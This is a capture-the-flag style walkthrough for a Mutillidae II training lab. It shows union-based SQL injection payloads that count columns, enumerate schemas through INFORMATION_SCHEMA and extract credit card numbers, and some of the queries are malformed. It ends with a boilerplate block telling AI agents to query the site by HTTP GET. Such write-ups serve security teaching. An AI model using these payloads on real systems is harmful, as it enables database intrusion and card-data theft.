# Pivoting with SQL injection
## Lab 10: SQL Injection - Pivoting with SQL injection
Go to User Lookup page
We just know that there're 10 columns, than we can utilize UNION operator to do a Union-Based SQLi, and try multiple possible colum names regarding credit card such as: creditcard, credit\_card, etc..
Payload -> `' UNION SELECT 1,2,3,4,5,6,7,8,9,1 FROM --`
for 'creditcard' column name we've an error, then it's not the correct answer.
The right column name is: 'credit\_card': `' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM credit_cards --`
Great, we can retrieve info about db type, and version (answer of lab 11) utilizing this query:
`' UNION SELECT 1, database(),version(),user(),5,6,7,8,9,10--`
and discover all installed DBs using the following query:
`' UNION SELECT 1,schema_name,3,4,5,6,7,8,9,10 from INFORMATION_SCHEMA.SCHEMATA--`
Great, at this time we need to understand which db and table have credit\_cards as column:
' UNION SELECT 1,COLUMN\_NAME,TABLE\_NAME,4,5,6,7,8,9,10 TABLE\_SCHEMA FROM \.COLUMNS WHERE table\_name='credit\_cards'--
In this case the first one value 'information\_schema' is the db\_name:
' UNION SELECT 1,COLUMN\_NAME,TABLE\_NAME,4,5,6,7,8,9,10 TABLE\_SCHEMA FROM INFORMATION\_SCHEMA.COLUMNS WHERE table\_name='credit\_cards'--
The results provide us more info about columns, in this case we need to know only the ccnumber:
`' UNION SELECT 1,ccid,ccnumber,4,5,6,7,8,9,10 FROM credit_cards--`
and obtain the ccnumber (the last of photo) regarding our response!
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://dev-angelist.gitbook.io/writeups-and-walkthroughs/mutillidae-ii/sqli/pivoting-with-sql-injection.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
